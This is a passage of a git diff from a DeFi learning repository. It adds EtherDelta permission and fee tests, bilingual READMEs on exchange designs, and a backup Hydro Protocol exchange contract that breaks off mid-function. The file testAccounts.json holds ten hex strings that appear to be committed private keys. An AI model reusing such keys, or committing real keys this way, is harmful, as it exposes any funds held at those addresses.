+    it('Should change the take fee and fail because the take fee must exceed the rebate fee', async () => {
+      await expect(etherDelta.connect(owner).changeFeeTake(feeRebate - (BigInt(1)))).to.be.reverted;
+    });
+
+    it('Should change the take fee and succeed', async () => {
+      await etherDelta.connect(owner).changeFeeTake(feeRebate + (BigInt(2)));
+      expect(await etherDelta.feeTake()).to.be.equal(feeRebate + (BigInt(2)));
+    });
+
+    it('Should change the rebate fee and fail', async () => {
+      await expect(etherDelta.connect(user1).changeFeeRebate(feeRebate)).to.be.revertedWith('No permission');
+    });
+
+    it('Should change the rebate fee and fail because the rebate fee can only increase', async () => {
+      await expect(etherDelta.connect(owner).changeFeeRebate(feeRebate / (2n))).to.be.reverted;
+    });
+
+    it('Should change the rebate fee and fail because the rebate fee must not exceed the take fee', async () => {
+      await expect(etherDelta.connect(owner).changeFeeRebate(feeTake + (BigInt(1)))).to.be.reverted;
+    });
+
+    it('Should change the rebate fee and succeed', async () => {
+      await etherDelta.connect(owner).changeFeeRebate(feeTake - (BigInt(1)));
+      expect(await etherDelta.feeRebate()).to.be.equal(feeTake - (BigInt(1)));
+    });
+
+    it('Should change the admin account and fail', async () => {
+      await expect(etherDelta.connect(user1).changeAdmin(user1.address)).to.be.revertedWith('No permission');
+    });
+
+    it('Should change the admin account and succeed', async () => {
+      await etherDelta.connect(owner).changeAdmin(user1.address);
+      expect(await etherDelta.admin()).to.be.equal(user1.address);
+    });
+
+  });
+
+});
diff --git a/basic/13-decentralized-exchange/EtherDelta/testAccounts.json b/basic/13-decentralized-exchange/EtherDelta/testAccounts.json
new file mode 100644
index 000000000..a1fff51a5
--- /dev/null
+++ b/basic/13-decentralized-exchange/EtherDelta/testAccounts.json
@@ -0,0 +1,12 @@
+[
+  "0x10645fd201fc751be73c2d5219a2cd738418f2b15b90d1ea5fa2f422951af7a3",
+  "0xda0321d559516d78f4dd6a12214fd553be0ca0cf9eab44257802587bb1593ca4",
+  "0xefa3971b42b3af842f4a947240aaee79c3198ec5dc28f83a150d85bdefc41944",
+  "0xb8a6a80075683397c49a32077184e2179ebd487510a2d0b05997e5a7eb406e72",
+  "0xda2b8cdb6ab7181a4c21e393dc5a37960c6b747f8ccc2c166399b82636475075",
+  "0xbdb2d23af69bc5956764a470e0855b267a2daf7164af7136985780bbbb8b1c39",
+  "0x740a0c5accf2861a5ee82af8a9c4bcd3a210f4cdbf2dde99ced61db9dea6231f",
+  "0x3558f3401e780f58f245a7905c4c4f08643de90a099f1a5dca5684a3a06f5ef4",
+  "0xf2aa6078c899d5ddf95d3ec7c3fd246d2ac9e4b9eae858b1211d7e7ea9cdee53",
+  "0x4e5829d8cf5ddf2f69af264cbfc0325e5d8a68d9f947d241cc24dcaa6c830196"
+]
diff --git a/basic/13-decentralized-exchange/README-CN.md b/basic/13-decentralized-exchange/README-CN.md
new file mode 100644
index 000000000..9055b981c
--- /dev/null
+++ b/basic/13-decentralized-exchange/README-CN.md
@@ -0,0 +1,31 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/basic/13-decentralized-exchange/README.md)
+## 简介
+
+去中心化交易所， 有 etherdelta 订单薄模式和uniswap的AMM做市商模式。
+其他类型有 0x & bancor  & 1inch
+了解etherdelta交易所是了解其他订单薄模式交易所的基础。而了解uniswap v1是了解AMM的基础。
+
+### EtherDelta
+本样例主要介绍 etherdelta 合约逻辑, 演示对 etherdelta 合约的基本使用.
+
+[详情参见 EtherDelta解析和测试 :point_right:](./EtherDelta/README.md)
+
+### uniswap-v1-like
+
+仿uniV1项目。原项目是用Vyper开发合约，这里会使用 solidity 0.8.0 仿写一个uniswapV1，由浅入深理解uniswap的原理。
+
+[详情参见 uniswap-v1-like :point_right:](./uniswap-v1-like/README.md)
+
+
+### backup
+为了方便演示以及兼容hardhat我们做了微调。 backup 目录是原版代码。
+## 参考链接
+
+- https://github.com/etherdelta/smart_contract/blob/master/etherdelta.sol
+- https://github.com/forkdelta/smart_contract   
+- https://github.com/Uniswap/old-solidity-contracts/blob/master/contracts/Exchange/UniswapExchange.sol
+- https://zhuanlan.zhihu.com/p/96664332
+- https://github.com/PhABC/ethereum-alarm-clock 
+- https://www.codementor.io/@yosriady/signing-and-verifying-ethereum-signatures-vhe8ro3h6   
+- https://jeiwan.net/posts/programming-defi-uniswap-1/  
+
diff --git a/basic/13-decentralized-exchange/README.md b/basic/13-decentralized-exchange/README.md
new file mode 100644
index 000000000..d9a64d52c
--- /dev/null
+++ b/basic/13-decentralized-exchange/README.md
@@ -0,0 +1,26 @@
+English / [中文](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/basic/13-decentralized-exchange/README-CN.md)
+## Introduction
+This example mainly introduces **etherdelta** contract logic and demonstrates the basic use of **etherdelta** contract.
+
+There are decentralized exchanges, including **etherdelta** order book model and **uniswap** AMM market-maker model.
+0x & Bancor & Kyber to be integrated
+
+### EtherDelta
+
+[See EtherDelta parsing and Testing for details :point_right:](./EtherDelta/README.md)
+
+### uniswap-v1-like
+
+Fork **uniV1** project. The original project was to develop the contract with Vyper. Here we will write a **uniswapV1** using **solidity 0.8.0** to get a deeper understanding of **uniswap**.
+
+[See uniswap-v1-like for details :point_right:](./uniswap-v1-like/README.md)
+
+## Refer to the link
+
+- https://github.com/etherdelta/smart_contract/blob/master/etherdelta.sol
+- https://github.com/forkdelta/smart_contract   
+- https://github.com/Uniswap/old-solidity-contracts/blob/master/contracts/Exchange/UniswapExchange.sol
+- https://zhuanlan.zhihu.com/p/96664332
+- https://github.com/PhABC/ethereum-alarm-clock 
+- https://www.codementor.io/@yosriady/signing-and-verifying-ethereum-signatures-vhe8ro3h6   
+- https://jeiwan.net/posts/programming-defi-uniswap-1/  
diff --git a/basic/13-decentralized-exchange/backup/HydroExchange.sol b/basic/13-decentralized-exchange/backup/HydroExchange.sol
new file mode 100644
index 000000000..6e47f4ab2
--- /dev/null
+++ b/basic/13-decentralized-exchange/backup/HydroExchange.sol
@@ -0,0 +1,1326 @@
+/**
+ *Submitted for verification at Etherscan.io on 2019-03-11
+*/
+
+/*
+
+    Copyright 2019 The Hydro Protocol Foundation
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+        http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+
+*/
+
+pragma solidity ^0.4.24;
+pragma experimental ABIEncoderV2;
+
+/// @dev Math operations with safety checks that revert on error
+library SafeMath {
+
+    /// @dev Multiplies two numbers, reverts on overflow.
+    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
+        if (a == 0) {
+            return 0;
+        }
+
+        uint256 c = a * b;
+        require(c / a == b, "MUL_ERROR");
+
+        return c;
+    }
+
+    /// @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
+    function div(uint256 a, uint256 b) internal pure returns (uint256) {
+        require(b > 0, "DIVIDING_ERROR");
+        uint256 c = a / b;
+        return c;
+    }
+
+    /// @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
+    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
+        require(b <= a, "SUB_ERROR");
+        uint256 c = a - b;
+        return c;
+    }
+
+    /// @dev Adds two numbers, reverts on overflow.
+    function add(uint256 a, uint256 b) internal pure returns (uint256) {
+        uint256 c = a + b;
+        require(c >= a, "ADD_ERROR");
+        return c;
+    }
+
+    /// @dev Divides two numbers and returns the remainder (unsigned integer modulo), reverts when dividing by zero.
+    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
+        require(b != 0, "MOD_ERROR");
+        return a % b;
+    }
+}
+
+/**
+ * EIP712 Ethereum typed structured data hashing and signing
+ */
+contract EIP712 {
+    string internal constant DOMAIN_NAME = "Hydro Protocol";
+
+    /**
+     * Hash of the EIP712 Domain Separator Schema
+     */
+    bytes32 public constant EIP712_DOMAIN_TYPEHASH = keccak256(
+        abi.encodePacked("EIP712Domain(string name)")
+    );
+
+    bytes32 public DOMAIN_SEPARATOR;
+
+    constructor () public {
+        DOMAIN_SEPARATOR = keccak256(
+            abi.encodePacked(
+                EIP712_DOMAIN_TYPEHASH,
+                keccak256(bytes(DOMAIN_NAME))
+            )
+        );
+    }
+
+    /**
+     * Calculates EIP712 encoding for a hash struct in this EIP712 Domain.
+     *
+     * @param eip712hash The EIP712 hash struct.
+     * @return EIP712 hash applied to this EIP712 Domain.
+     */
+    function hashEIP712Message(bytes32 eip712hash) internal view returns (bytes32) {
+        return keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, eip712hash));
+    }
+}
+
+contract LibSignature {
+
+    enum SignatureMethod {
+        EthSign,
+        EIP712
+    }
+
+    /**
+     * OrderSignature struct contains typical signature data as v, r, and s with the signature
+     * method encoded in as well.
+     */
+    struct OrderSignature {
+        /**
+         * Config contains the following values packed into 32 bytes
+         * ╔════════════════════╤═══════════════════════════════════════════════════════════╗
+         * ║                    │ length(bytes)   desc                                      ║
+         * ╟────────────────────┼───────────────────────────────────────────────────────────╢
+         * ║ v                  │ 1               the v parameter of a signature            ║
+         * ║ signatureMethod    │ 1               SignatureMethod enum value                ║
+         * ╚════════════════════╧═══════════════════════════════════════════════════════════╝
+         */
+        bytes32 config;
+        bytes32 r;
+        bytes32 s;
+    }
+
+    /**
+     * Validate a signature given a hash calculated from the order data, the signer, and the
+     * signature data passed in with the order.
+     *
+     * This function will revert the transaction if the signature method is invalid.
+     *
+     * @param hash Hash bytes calculated by taking the EIP712 hash of the passed order data
+     * @param signerAddress The address of the signer
+     * @param signature The signature data passed along with the order to validate against
+     * @return True if the calculated signature matches the order signature data, false otherwise.
+     */
+    function isValidSignature(bytes32 hash, address signerAddress, OrderSignature memory signature)
+    internal
+    pure
+    returns (bool)
+    {
+        uint8 method = uint8(signature.config[1]);
+        address recovered;
+        uint8 v = uint8(signature.config[0]);
+
+        if (method == uint8(SignatureMethod.EthSign)) {
+            recovered = ecrecover(
+                keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),
+                v,
+                signature.r,
+                signature.s
+            );
+        } else if (method == uint8(SignatureMethod.EIP712)) {
+            recovered = ecrecover(hash, v, signature.r, signature.s);
+        } else {
+            revert("INVALID_SIGN_METHOD");
+        }
+
+        return signerAddress == recovered;
+    }
+}
+
+contract LibMath {
+    using SafeMath for uint256;
+
+    /**
+     * Check the amount of precision lost by calculating multiple * (numerator / denominator). To
+     * do this, we check the remainder and make sure it's proportionally less than 0.1%. So we have:
+     *
+     *     ((numerator * multiple) % denominator)     1
+     *     -------------------------------------- < ----
+     *              numerator * multiple            1000
+     *
+     * To avoid further division, we can move the denominators to the other sides and we get:
+     *
+     *     ((numerator * multiple) % denominator) * 1000 < numerator * multiple
+     *
+     * Since we want to return true if there IS a rounding error, we simply flip the sign and our
+     * final equation becomes:
+     *
+     *     ((numerator * multiple) % denominator) * 1000 >= numerator * multiple
+     *
+     * @param numerator The numerator of the proportion
+     * @param denominator The denominator of the proportion
+     * @param multiple The amount we want a proportion of
+     * @return Boolean indicating if there is a rounding error when calculating the proportion
+     */
+    function isRoundingError(uint256 numerator, uint256 denominator, uint256 multiple)
+    internal
+    pure
+    returns (bool)
+    {
+        return numerator.mul(multiple).mod(denominator).mul(1000) >= numerator.mul(multiple);
+    }
+
+    /// @dev calculate "multiple * (numerator / denominator)", rounded down.
+    /// revert when there is a rounding error.
+    /**
+     * Takes an amount (multiple) and calculates a proportion of it given a numerator/denominator
+     * pair of values. The final value will be rounded down to the nearest integer value.
+     *
+     * This function will revert the transaction if rounding the final value down would lose more
+     * than 0.1% precision.
+     *
+     * @param numerator The numerator of the proportion
+     * @param denominator The denominator of the proportion
+     * @param multiple The amount we want a proportion of
+     * @return The final proportion of multiple rounded down
+     */
+    function getPartialAmountFloor(uint256 numerator, uint256 denominator, uint256 multiple)
+    internal
+    pure
+    returns (uint256)
+    {
+        require(!isRoundingError(numerator, denominator, multiple), "ROUNDING_ERROR");
+        return numerator.mul(multiple).div(denominator);
+    }
+
+    /**
+     * Returns the smaller integer of the two passed in.
+     *
+     * @param a Unsigned integer
+     * @param b Unsigned integer
+     * @return The smaller of the two integers
+     */
+    function min(uint256 a, uint256 b) internal pure returns (uint256) {
+        return a < b ? a : b;
+    }
+}
+
+contract LibOrder is EIP712, LibSignature, LibMath {
+
+    uint256 public constant REBATE_RATE_BASE = 100;
+
+    struct Order {
+        address trader;
+        address relayer;
+        address baseToken;
+        address quoteToken;
+        uint256 baseTokenAmount;
+        uint256 quoteTokenAmount;
+        uint256 gasTokenAmount;
+
+        /**
+         * Data contains the following values packed into 32 bytes
+         * ╔════════════════════╤═══════════════════════════════════════════════════════════╗
+         * ║                    │ length(bytes)   desc                                      ║
+         * ╟────────────────────┼───────────────────────────────────────────────────────────╢
+         * ║ version            │ 1               order version                             ║
+         * ║ side               │ 1               0: buy, 1: sell                           ║
+         * ║ isMarketOrder      │ 1               0: limitOrder, 1: marketOrder             ║
+         * ║ expiredAt          │ 5               order expiration time in seconds          ║
+         * ║ asMakerFeeRate     │ 2               maker fee rate (base 100,000)             ║
+         * ║ asTakerFeeRate     │ 2               taker fee rate (base 100,000)             ║
+         * ║ makerRebateRate    │ 2               rebate rate for maker (base 100)          ║
+         * ║ salt               │ 8               salt                                      ║
+         * ║ isMakerOnly        │ 1               is maker only                             ║
+         * ║                    │ 9               reserved                                  ║
+         * ╚════════════════════╧═══════════════════════════════════════════════════════════╝
+         */
+        bytes32 data;
+    }
+
+    enum OrderStatus {
+        EXPIRED,
+        CANCELLED,
+        FILLABLE,
+        FULLY_FILLED
+    }
+
+    bytes32 public constant EIP712_ORDER_TYPE = keccak256(
+        abi.encodePacked(
+            "Order(address trader,address relayer,address baseToken,address quoteToken,uint256 baseTokenAmount,uint256 quoteTokenAmount,uint256 gasTokenAmount,bytes32 data)"
+        )
+    );
+
+    /**
+     * Calculates the Keccak-256 EIP712 hash of the order using the Hydro Protocol domain.
+     *
+     * @param order The order data struct.
+     * @return Fully qualified EIP712 hash of the order in the Hydro Protocol domain.
+     */
+    function getOrderHash(Order memory order) internal view returns (bytes32 orderHash) {
+        orderHash = hashEIP712Message(hashOrder(order));
+        return orderHash;
+    }
+
+    /**
+     * Calculates the EIP712 hash of the order.
+     *
+     * @param order The order data struct.
+     * @return Hash of the order.
+     */
+    function hashOrder(Order memory order) internal pure returns (bytes32 result) {
+        /**
+         * Calculate the following hash in solidity assembly to save gas.
+         *
+         * keccak256(
+         *     abi.encodePacked(
+         *         EIP712_ORDER_TYPE,
+         *         bytes32(order.trader),
+         *         bytes32(order.relayer),
+         *         bytes32(order.baseToken),
+         *         bytes32(order.quoteToken),
+         *         order.baseTokenAmount,
+         *         order.quoteTokenAmount,
+         *         order.gasTokenAmount,
+         *         order.data
+         *     )
+         * );
+         */
+
+        bytes32 orderType = EIP712_ORDER_TYPE;
+
+        assembly {
+            let start := sub(order, 32)
+            let tmp := mload(start)
+
+        // 288 = (1 + 8) * 32
+        //
+        // [0...32)   bytes: EIP712_ORDER_TYPE
+        // [32...288) bytes: order
+            mstore(start, orderType)
+            result := keccak256(start, 288)
+
+            mstore(start, tmp)
+        }
+
+        return result;
+    }
+
+    /* Functions to extract info from data bytes in Order struct */
+
+    function getOrderVersion(bytes32 data) internal pure returns (uint256) {
+        return uint256(byte(data));
+    }
+
+    function getExpiredAtFromOrderData(bytes32 data) internal pure returns (uint256) {
+        return uint256(bytes5(data << (8*3)));
+    }
+
+    function isSell(bytes32 data) internal pure returns (bool) {
+        return data[1] == 1;
+    }
+
+    function isMarketOrder(bytes32 data) internal pure returns (bool) {
+        return data[2] == 1;
+    }
+
+    function isMakerOnly(bytes32 data) internal pure returns (bool) {
+        return data[22] == 1;
+    }
+
+    function isMarketBuy(bytes32 data) internal pure returns (bool) {
+        return !isSell(data) && isMarketOrder(data);
+    }
+
+    function getAsMakerFeeRateFromOrderData(bytes32 data) internal pure returns (uint256) {
+        return uint256(bytes2(data << (8*8)));
+    }
+
+    function getAsTakerFeeRateFromOrderData(bytes32 data) internal pure returns (uint256) {
+        return uint256(bytes2(data << (8*10)));
+    }
+
+    function getMakerRebateRateFromOrderData(bytes32 data) internal pure returns (uint256) {
+        uint256 makerRebate = uint256(bytes2(data << (8*12)));
+
+        // make sure makerRebate will never be larger than REBATE_RATE_BASE, which is 100
+        return min(makerRebate, REBATE_RATE_BASE);
+    }
+}
+
+/**
+ * @title LibRelayer provides two distinct features for relayers.
+ *
+ * First, Relayers can opt into or out of the Hydro liquidity incentive system.
+ *
+ * Second, a relayer can register a delegate address.
+ * Delegates can send matching requests on behalf of relayers.
+ * The delegate scheme allows additional possibilities for smart contract interaction.
+ * on behalf of the relayer.
+ */
+contract LibRelayer {
+
+    /**
+     * Mapping of relayerAddress => delegateAddress
+     */
+    mapping (address => mapping (address => bool)) public relayerDelegates;
+
+    /**
+     * Mapping of relayerAddress => whether relayer is opted out of the liquidity incentive system
+     */
+    mapping (address => bool) hasExited;
+
+    event RelayerApproveDelegate(address indexed relayer, address indexed delegate);
+    event RelayerRevokeDelegate(address indexed relayer, address indexed delegate);
+
+    event RelayerExit(address indexed relayer);
+    event RelayerJoin(address indexed relayer);
+
+    /**
+     * Approve an address to match orders on behalf of msg.sender
+     */
+    function approveDelegate(address delegate) external {
+        relayerDelegates[msg.sender][delegate] = true;
+        emit RelayerApproveDelegate(msg.sender, delegate);
+    }
+
+    /**
+     * Revoke an existing delegate
+     */
+    function revokeDelegate(address delegate) external {
+        relayerDelegates[msg.sender][delegate] = false;
+        emit RelayerRevokeDelegate(msg.sender, delegate);
+    }
+
+    /**
+     * @return true if msg.sender is allowed to match orders which belong to relayer
+     */
+    function canMatchOrdersFrom(address relayer) public view returns(bool) {
+        return msg.sender == relayer || relayerDelegates[relayer][msg.sender] == true;
+    }
+
+    /**
+     * Join the Hydro incentive system.
+     */
+    function joinIncentiveSystem() external {
+        delete hasExited[msg.sender];
+        emit RelayerJoin(msg.sender);
+    }
+
+    /**
+     * Exit the Hydro incentive system.
+     * For relayers that choose to opt-out, the Hydro Protocol
+     * effective becomes a tokenless protocol.
+     */
+    function exitIncentiveSystem() external {
+        hasExited[msg.sender] = true;
+        emit RelayerExit(msg.sender);
+    }
+
+    /**
+     * @return true if relayer is participating in the Hydro incentive system.
+     */
+    function isParticipant(address relayer) public view returns(bool) {
+        return !hasExited[relayer];
+    }
+}
+
+/// @title Ownable
+/// @dev The Ownable contract has an owner address, and provides basic authorization control
+/// functions, this simplifies the implementation of "user permissions".
+contract LibOwnable {
+    address private _owner;
+
+    event OwnershipTransferred(
+        address indexed previousOwner,
+        address indexed newOwner
+    );
+
+    /// @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
+    constructor() internal {
+        _owner = msg.sender;
+        emit OwnershipTransferred(address(0), _owner);
+    }
+
+    /// @return the address of the owner.
+    function owner() public view returns(address) {
+        return _owner;
+    }
+
+    /// @dev Throws if called by any account other than the owner.
+    modifier onlyOwner() {
+        require(isOwner(), "NOT_OWNER");
+        _;
+    }
+
+    /// @return true if `msg.sender` is the owner of the contract.
+    function isOwner() public view returns(bool) {
+        return msg.sender == _owner;
+    }
+
+    /// @dev Allows the current owner to relinquish control of the contract.
+    /// @notice Renouncing to ownership will leave the contract without an owner.
+    /// It will not be possible to call the functions with the `onlyOwner`
+    /// modifier anymore.
+    function renounceOwnership() public onlyOwner {
+        emit OwnershipTransferred(_owner, address(0));
+        _owner = address(0);
+    }
+
+    /// @dev Allows the current owner to transfer control of the contract to a newOwner.
+    /// @param newOwner The address to transfer ownership to.
+    function transferOwnership(address newOwner) public onlyOwner {
+        require(newOwner != address(0), "INVALID_OWNER");
+        emit OwnershipTransferred(_owner, newOwner);
+        _owner = newOwner;
+    }
+}
+
+/**
+ * Library to handle fee discount calculation
+ */
+contract LibDiscount is LibOwnable {
+    using SafeMath for uint256;
+
+    // The base discounted rate is 100% of the current rate, or no discount.
+    uint256 public constant DISCOUNT_RATE_BASE = 100;
+
+    address public hotTokenAddress;
+
+    constructor(address _hotTokenAddress) internal {
+        hotTokenAddress = _hotTokenAddress;
+    }
+
+    /**
+     * Get the HOT token balance of an address.
+     *
+     * @param owner The address to check.
+     * @return The HOT balance for the owner address.
+     */
+    function getHotBalance(address owner) internal view returns (uint256 result) {
+        address hotToken = hotTokenAddress;
+
+        // IERC20(hotTokenAddress).balanceOf(owner)
+
+        /**
+         * We construct calldata for the `balanceOf` ABI.
+         * The layout of this calldata is in the table below.
+         *
+         * ╔════════╤════════╤════════╤═══════════════════╗
+         * ║ Area   │ Offset │ Length │ Contents          ║
+         * ╟────────┼────────┼────────┼───────────────────╢
+         * ║ Header │ 0      │ 4      │ function selector ║
+         * ║ Params │ 4      │ 32     │ owner address     ║
+         * ╚════════╧════════╧════════╧═══════════════════╝
+         */
+        assembly {
+        // Keep these so we can restore stack memory upon completion
+            let tmp1 := mload(0)
+            let tmp2 := mload(4)
+
+        // keccak256('balanceOf(address)') bitmasked to 4 bytes
+            mstore(0, 0x70a0823100000000000000000000000000000000000000000000000000000000)
+            mstore(4, owner)
+
+        // No need to check the return value because hotToken is a trustworthy contract
+            result := call(
+            gas,      // Forward all gas
+            hotToken, // HOT token deployment address
+            0,        // Don't send any ETH
+            0,        // Pointer to start of calldata
+            36,       // Length of calldata
+            0,        // Overwrite calldata with output
+            32        // Expecting uint256 output, the token balance
+            )
+            result := mload(0)
+
+        // Restore stack memory
+            mstore(0, tmp1)
+            mstore(4, tmp2)
+        }
+    }
+
+    bytes32 public discountConfig = 0x043c000027106400004e205a000075305000009c404600000000000000000000;
+
+    /**
+     * Calculate and return the rate at which fees will be charged for an address. The discounted
+     * rate depends on how much HOT token is owned by the user. Values returned will be a percentage
+     * used to calculate how much of the fee is paid, so a return value of 100 means there is 0
+     * discount, and a return value of 70 means a 30% rate reduction.
+     *
+     * The discountConfig is defined as such:
+     * ╔═══════════════════╤════════════════════════════════════════════╗
+     * ║                   │ length(bytes)   desc                       ║
+     * ╟───────────────────┼────────────────────────────────────────────╢
+     * ║ count             │ 1               the count of configs       ║
+     * ║ maxDiscountedRate │ 1               the max discounted rate    ║
+     * ║ config            │ 5 each                                     ║
+     * ╚═══════════════════╧════════════════════════════════════════════╝
+     *
+     * The default discount structure as defined in code would give the following result:
+     *
+     * Fee discount table
+     * ╔════════════════════╤══════════╗
+     * ║     HOT BALANCE    │ DISCOUNT ║
+     * ╠════════════════════╪══════════╣
+     * ║     0 <= x < 10000 │     0%   ║
+     * ╟────────────────────┼──────────╢
+     * ║ 10000 <= x < 20000 │    10%   ║
+     * ╟────────────────────┼──────────╢
+     * ║ 20000 <= x < 30000 │    20%   ║
+     * ╟────────────────────┼──────────╢
+     * ║ 30000 <= x < 40000 │    30%   ║
+     * ╟────────────────────┼──────────╢
+     * ║ 40000 <= x         │    40%   ║
+     * ╚════════════════════╧══════════╝
+     *
+     * Breaking down the bytes of 0x043c000027106400004e205a000075305000009c404600000000000000000000
+     *
+     * 0x  04           3c          0000271064  00004e205a  0000753050  00009c4046  0000000000  0000000000;
+     *     ~~           ~~          ~~~~~~~~~~  ~~~~~~~~~~  ~~~~~~~~~~  ~~~~~~~~~~  ~~~~~~~~~~  ~~~~~~~~~~
+     *      |            |               |           |           |           |           |           |
+     *    count  maxDiscountedRate       1           2           3           4           5           6
+     *
+     * The first config breaks down as follows:  00002710   64
+     *                                           ~~~~~~~~   ~~
+     *                                               |      |
+     *                                              bar    rate
+     *
+     * Meaning if a user has less than 10000 (0x00002710) HOT, they will pay 100%(0x64) of the
+     * standard fee.
+     *
+     * @param user The user address to calculate a fee discount for.
+     * @return The percentage of the regular fee this user will pay.
+     */
+    function getDiscountedRate(address user) public view returns (uint256 result) {
+        uint256 hotBalance = getHotBalance(user);
+
+        if (hotBalance == 0) {
+            return DISCOUNT_RATE_BASE;
+        }
+
+        bytes32 config = discountConfig;
+        uint256 count = uint256(byte(config));
+        uint256 bar;
+
+        // HOT Token has 18 decimals
+        hotBalance = hotBalance.div(10**18);
+
+        for (uint256 i = 0; i < count; i++) {
+            bar = uint256(bytes4(config << (2 + i * 5) * 8));
+
+            if (hotBalance < bar) {
+                result = uint256(byte(config << (2 + i * 5 + 4) * 8));
+                break;
+            }
+        }
+
+        // If we haven't found a rate in the config yet, use the maximum rate.
+        if (result == 0) {
+            result = uint256(config[1]);
+        }
+
+        // Make sure our discount algorithm never returns a higher rate than the base.
+        require(result <= DISCOUNT_RATE_BASE, "DISCOUNT_ERROR");
+    }
+
+    /**
+     * Owner can modify discount configuration.
+     *
+     * @param newConfig A data blob representing the new discount config. Details on format above.
+     */
+    function changeDiscountConfig(bytes32 newConfig) external onlyOwner {
+        discountConfig = newConfig;
+    }
+}
+
+contract LibExchangeErrors {
+    string constant INVALID_TRADER = "INVALID_TRADER";
+    string constant INVALID_SENDER = "INVALID_SENDER";
+    // Taker order and maker order can't be matched
+    string constant INVALID_MATCH = "INVALID_MATCH";
+    string constant INVALID_SIDE = "INVALID_SIDE";
+    // Signature validation failed
+    string constant INVALID_ORDER_SIGNATURE = "INVALID_ORDER_SIGNATURE";
+    // Taker order is not valid
+    string constant ORDER_IS_NOT_FILLABLE = "ORDER_IS_NOT_FILLABLE";
+    string constant MAKER_ORDER_CAN_NOT_BE_MARKET_ORDER = "MAKER_ORDER_CAN_NOT_BE_MARKET_ORDER";
+    string constant TRANSFER_FROM_FAILED = "TRANSFER_FROM_FAILED";
+    string constant MAKER_ORDER_OVER_MATCH = "MAKER_ORDER_OVER_MATCH";
+    string constant TAKER_ORDER_OVER_MATCH = "TAKER_ORDER_OVER_MATCH";
+    string constant ORDER_VERSION_NOT_SUPPORTED = "ORDER_VERSION_NOT_SUPPORTED";
+
+    string constant MAKER_ONLY_ORDER_CANNOT_BE_TAKER = "MAKER_ONLY_ORDER_CANNOT_BE_TAKER";
+}
+
+contract HybridExchange is LibMath, LibOrder, LibRelayer, LibDiscount, LibExchangeErrors {
+    using SafeMath for uint256;
+
+    uint256 public constant FEE_RATE_BASE = 100000;
+
+    /* Order v2 data is uncompatible with v1. This contract can only handle v2 order. */
+    uint256 public constant SUPPORTED_ORDER_VERSION = 2;
+
+    /**
+     * Address of the proxy responsible for asset transfer.
+     */
+    address public proxyAddress;
+
+    /**
+     * Mapping of orderHash => amount
+     * Generally the amount will be specified in base token units, however in the case of a market
+     * buy order the amount is specified in quote token units.
+     */
+    mapping (bytes32 => uint256) public filled;
+    /**
+     * Mapping of orderHash => whether order has been cancelled.
+     */
+    mapping (bytes32 => bool) public cancelled;
+
+    event Cancel(bytes32 indexed orderHash);
+
+    /**
+     * When orders are being matched, they will always contain the exact same base token,
+     * quote token, and relayer. Since excessive call data is very expensive, we choose
+     * to create a stripped down OrderParam struct containing only data that may vary between
+     * Order objects, and separate out the common elements into a set of addresses that will
+     * be shared among all of the OrderParam items. This is meant to eliminate redundancy in
+     * the call data, reducing it's size, and hence saving gas.
+     */
+    struct OrderParam {
+        address trader;
+        uint256 baseTokenAmount;
+        uint256 quoteTokenAmount;
+        uint256 gasTokenAmount;
+        bytes32 data;
+        OrderSignature signature;
+    }
+
+    /**
+     * Calculated data about an order object.
+     * Generally the filledAmount is specified in base token units, however in the case of a market
+     * buy order the filledAmount is specified in quote token units.
+     */
+    struct OrderInfo {
+        bytes32 orderHash;
+        uint256 filledAmount;
+    }
+
+    struct OrderAddressSet {
+        address baseToken;
+        address quoteToken;
+        address relayer;
+    }
+
+    struct MatchResult {
+        address maker;
+        address taker;
+        address buyer;
+        uint256 makerFee;
+        uint256 makerRebate;
+        uint256 takerFee;
+        uint256 makerGasFee;
+        uint256 takerGasFee;
+        uint256 baseTokenFilledAmount;
+        uint256 quoteTokenFilledAmount;
+    }
+
+
+    event Match(
+        OrderAddressSet addressSet,
+        MatchResult result
+    );
+
+    constructor(address _proxyAddress, address hotTokenAddress)
+    LibDiscount(hotTokenAddress)
+    public
+    {
+        proxyAddress = _proxyAddress;
+    }
+
+    /**
+     * Match taker order to a list of maker orders. Common addresses are passed in
+     * separately as an OrderAddressSet to reduce call size data and save gas.
+     *
+     * @param takerOrderParam A OrderParam object representing the order from the taker.
+     * @param makerOrderParams An array of OrderParam objects representing orders from a list of makers.
+     * @param orderAddressSet An object containing addresses common across each order.
+     */
+    function matchOrders(
+        OrderParam memory takerOrderParam,
+        OrderParam[] memory makerOrderParams,
+        uint256[] memory baseTokenFilledAmounts,
+        OrderAddressSet memory orderAddressSet
+    ) public {
+        require(canMatchOrdersFrom(orderAddressSet.relayer), INVALID_SENDER);
+        require(!isMakerOnly(takerOrderParam.data), MAKER_ONLY_ORDER_CANNOT_BE_TAKER);
+
+        bool isParticipantRelayer = isParticipant(orderAddressSet.relayer);
+        uint256 takerFeeRate = getTakerFeeRate(takerOrderParam, isParticipantRelayer);
+        OrderInfo memory takerOrderInfo = getOrderInfo(takerOrderParam, orderAddressSet);
+
+        // Calculate which orders match for settlement.
+        MatchResult[] memory results = new MatchResult[](makerOrderParams.length);
+
+        for (uint256 i = 0; i < makerOrderParams.length; i++) {
+            require(!isMarketOrder(makerOrderParams[i].data), MAKER_ORDER_CAN_NOT_BE_MARKET_ORDER);
+            require(isSell(takerOrderParam.data) != isSell(makerOrderParams[i].data), INVALID_SIDE);
+            validatePrice(takerOrderParam, makerOrderParams[i]);
+
+            OrderInfo memory makerOrderInfo = getOrderInfo(makerOrderParams[i], orderAddressSet);
+
+            results[i] = getMatchResult(
+                takerOrderParam,
+                takerOrderInfo,
+                makerOrderParams[i],
